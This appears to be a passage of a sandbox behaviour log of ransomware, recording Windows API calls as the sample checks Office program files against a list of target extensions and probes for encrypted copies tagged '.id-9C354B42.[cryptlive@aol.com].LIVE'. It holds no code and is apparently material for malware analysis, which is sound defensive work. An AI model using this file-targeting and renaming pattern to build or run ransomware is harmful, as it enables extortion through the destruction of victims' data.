[0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString=".doc") returned 4 [0154.390] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0154.390] lstrlenW (lpString=".docx") returned 5 [0154.390] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0154.390] lstrlenW (lpString=".pdf") returned 4 [0154.390] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0154.390] lstrlenW (lpString=".xls") returned 4 [0154.390] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0154.390] lstrlenW (lpString=".xlsx") returned 5 [0154.390] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0154.390] lstrlenW (lpString=".ppt") returned 4 [0154.390] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString=".zip") returned 4 [0154.390] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0154.390] lstrlenW (lpString=".rar") returned 4 [0154.390] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0154.390] lstrlenW (lpString=".bz2") returned 4 [0154.390] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0154.390] lstrlenW (lpString=".7z") returned 3 [0154.390] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString=".dbf") returned 4 [0154.390] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString=".1cd") returned 4 [0154.390] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0154.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0154.390] lstrlenW (lpString=".jpg") returned 4 [0154.390] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0154.391] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.391] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0154.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.413] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1369952) returned 1 [0154.413] CloseHandle (hObject=0x1e0) returned 1 [0154.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll")) returned 0x20 [0154.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.417] lstrlenW (lpString=".doc") returned 4 [0154.417] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.417] lstrlenW (lpString=".docx") returned 5 [0154.417] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0154.417] lstrlenW (lpString=".pdf") returned 4 [0154.417] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.417] lstrlenW (lpString=".xls") returned 4 [0154.417] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.417] lstrlenW (lpString=".xlsx") returned 5 [0154.417] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0154.417] lstrlenW (lpString=".ppt") returned 4 [0154.417] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.417] lstrlenW (lpString=".zip") returned 4 [0154.417] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.417] lstrlenW (lpString=".rar") returned 4 [0154.417] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString=".bz2") returned 4 [0154.418] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.418] lstrlenW (lpString=".7z") returned 3 [0154.418] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.418] lstrlenW (lpString=".dbf") returned 4 [0154.418] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.418] lstrlenW (lpString=".1cd") returned 4 [0154.418] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.418] lstrlenW (lpString=".jpg") returned 4 [0154.418] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.418] lstrlenW (lpString=".doc") returned 4 [0154.418] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString=".docx") returned 5 [0154.418] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0154.418] lstrlenW (lpString=".pdf") returned 4 [0154.418] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString=".xls") returned 4 [0154.418] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString=".xlsx") returned 5 [0154.418] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0154.418] lstrlenW (lpString=".ppt") returned 4 [0154.418] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.418] lstrlenW (lpString=".zip") returned 4 [0154.418] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString=".rar") returned 4 [0154.418] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.418] lstrlenW (lpString=".bz2") returned 4 [0154.418] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.418] lstrlenW (lpString=".7z") returned 3 [0154.418] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.419] lstrlenW (lpString=".dbf") returned 4 [0154.419] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.419] lstrlenW (lpString=".1cd") returned 4 [0154.419] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0154.419] lstrlenW (lpString=".jpg") returned 4 [0154.419] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.419] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.419] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0154.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.429] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=99272) returned 1 [0154.429] CloseHandle (hObject=0x1b8) returned 1 [0154.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll")) returned 0x20 [0154.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.429] lstrlenW (lpString=".doc") returned 4 [0154.429] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.429] lstrlenW (lpString=".docx") returned 5 [0154.429] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0154.429] lstrlenW (lpString=".pdf") returned 4 [0154.429] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.429] lstrlenW (lpString=".xls") returned 4 [0154.429] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.429] lstrlenW (lpString=".xlsx") returned 5 [0154.429] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0154.429] lstrlenW (lpString=".ppt") returned 4 [0154.430] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString=".zip") returned 4 [0154.430] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString=".rar") returned 4 [0154.430] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString=".bz2") returned 4 [0154.430] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.430] lstrlenW (lpString=".7z") returned 3 [0154.430] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString=".dbf") returned 4 [0154.430] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString=".1cd") returned 4 [0154.430] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString=".jpg") returned 4 [0154.430] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString=".doc") returned 4 [0154.430] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString=".docx") returned 5 [0154.430] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0154.430] lstrlenW (lpString=".pdf") returned 4 [0154.430] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString=".xls") returned 4 [0154.430] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString=".xlsx") returned 5 [0154.430] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0154.430] lstrlenW (lpString=".ppt") returned 4 [0154.430] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.430] lstrlenW (lpString=".zip") returned 4 [0154.431] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.431] lstrlenW (lpString=".rar") returned 4 [0154.431] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.431] lstrlenW (lpString=".bz2") returned 4 [0154.431] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.431] lstrlenW (lpString=".7z") returned 3 [0154.431] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.431] lstrlenW (lpString=".dbf") returned 4 [0154.431] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.431] lstrlenW (lpString=".1cd") returned 4 [0154.431] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0154.431] lstrlenW (lpString=".jpg") returned 4 [0154.431] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.431] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.431] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0154.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.432] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1276776) returned 1 [0154.432] CloseHandle (hObject=0x1b8) returned 1 [0154.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll")) returned 0x20 [0154.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.432] lstrlenW (lpString=".doc") returned 4 [0154.432] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.432] lstrlenW (lpString=".docx") returned 5 [0154.432] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0154.432] lstrlenW (lpString=".pdf") returned 4 [0154.432] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.432] lstrlenW (lpString=".xls") returned 4 [0154.432] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.432] lstrlenW (lpString=".xlsx") returned 5 [0154.432] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0154.432] lstrlenW (lpString=".ppt") returned 4 [0154.432] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString=".zip") returned 4 [0154.433] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString=".rar") returned 4 [0154.433] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString=".bz2") returned 4 [0154.433] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.433] lstrlenW (lpString=".7z") returned 3 [0154.433] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString=".dbf") returned 4 [0154.433] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString=".1cd") returned 4 [0154.433] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString=".jpg") returned 4 [0154.433] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString=".doc") returned 4 [0154.433] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString=".docx") returned 5 [0154.433] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0154.433] lstrlenW (lpString=".pdf") returned 4 [0154.433] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString=".xls") returned 4 [0154.433] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString=".xlsx") returned 5 [0154.433] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0154.433] lstrlenW (lpString=".ppt") returned 4 [0154.433] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.433] lstrlenW (lpString=".zip") returned 4 [0154.433] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.434] lstrlenW (lpString=".rar") returned 4 [0154.434] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.434] lstrlenW (lpString=".bz2") returned 4 [0154.434] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.434] lstrlenW (lpString=".7z") returned 3 [0154.434] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.434] lstrlenW (lpString=".dbf") returned 4 [0154.434] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.434] lstrlenW (lpString=".1cd") returned 4 [0154.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0154.434] lstrlenW (lpString=".jpg") returned 4 [0154.434] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.434] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.434] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0154.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.435] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=108904) returned 1 [0154.435] CloseHandle (hObject=0x1b8) returned 1 [0154.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll")) returned 0x20 [0154.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.438] lstrlenW (lpString=".doc") returned 4 [0154.438] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.438] lstrlenW (lpString=".docx") returned 5 [0154.438] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0154.438] lstrlenW (lpString=".pdf") returned 4 [0154.438] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.438] lstrlenW (lpString=".xls") returned 4 [0154.438] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.438] lstrlenW (lpString=".xlsx") returned 5 [0154.438] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0154.438] lstrlenW (lpString=".ppt") returned 4 [0154.438] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.438] lstrlenW (lpString=".zip") returned 4 [0154.438] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.438] lstrlenW (lpString=".rar") returned 4 [0154.438] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.438] lstrlenW (lpString=".bz2") returned 4 [0154.438] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.438] lstrlenW (lpString=".7z") returned 3 [0154.438] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.438] lstrlenW (lpString=".dbf") returned 4 [0154.438] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.438] lstrlenW (lpString=".1cd") returned 4 [0154.439] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString=".jpg") returned 4 [0154.439] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString=".doc") returned 4 [0154.439] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString=".docx") returned 5 [0154.439] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0154.439] lstrlenW (lpString=".pdf") returned 4 [0154.439] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString=".xls") returned 4 [0154.439] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString=".xlsx") returned 5 [0154.439] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0154.439] lstrlenW (lpString=".ppt") returned 4 [0154.439] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString=".zip") returned 4 [0154.439] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString=".rar") returned 4 [0154.439] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.439] lstrlenW (lpString=".bz2") returned 4 [0154.439] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.439] lstrlenW (lpString=".7z") returned 3 [0154.439] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString=".dbf") returned 4 [0154.439] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString=".1cd") returned 4 [0154.439] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0154.439] lstrlenW (lpString=".jpg") returned 4 [0154.439] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.440] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.440] lstrlenW (lpString="DLGSETP.DLL") returned 11 [0154.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.441] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=116592) returned 1 [0154.441] CloseHandle (hObject=0x1b8) returned 1 [0154.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll")) returned 0x20 [0154.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0154.441] lstrlenW (lpString=".doc") returned 4 [0154.441] 